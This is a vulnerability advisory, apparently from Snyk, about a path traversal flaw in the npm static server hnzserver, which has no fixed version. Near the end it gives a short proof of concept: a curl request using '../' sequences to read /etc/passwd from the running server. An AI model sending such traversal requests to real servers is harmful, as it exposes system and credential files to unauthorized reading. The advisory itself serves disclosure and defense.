Arbitrary File Read Affecting hnzserver package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Read vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-HNZSERVER-1012733
  • published25 Sept 2020
  • disclosed24 Sept 2020
  • creditlightangel1412

Introduced: 24 Sep 2020

CVE NOT AVAILABLE CWE-22  (opens in a new tab)

How to fix?

There is no fixed version for hnzserver.

Overview

hnzserver is a static server.

Affected versions of this package are vulnerable to Arbitrary File Read. Path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

PoC by lightangel1412

  • Install the module

npm install -g hnzserver

  • Run 'hnzserver in "~/Desktop" directory :
root@kali:~/Desktop# hnzserver
server running is :http://localhost:8888
  • Use cURL to access etc/passwd file:

$ curl --path-as-is --url 'http://127.0.0.1:8888/../../../../etc/passwd'

References

CVSS Scores

version 3.1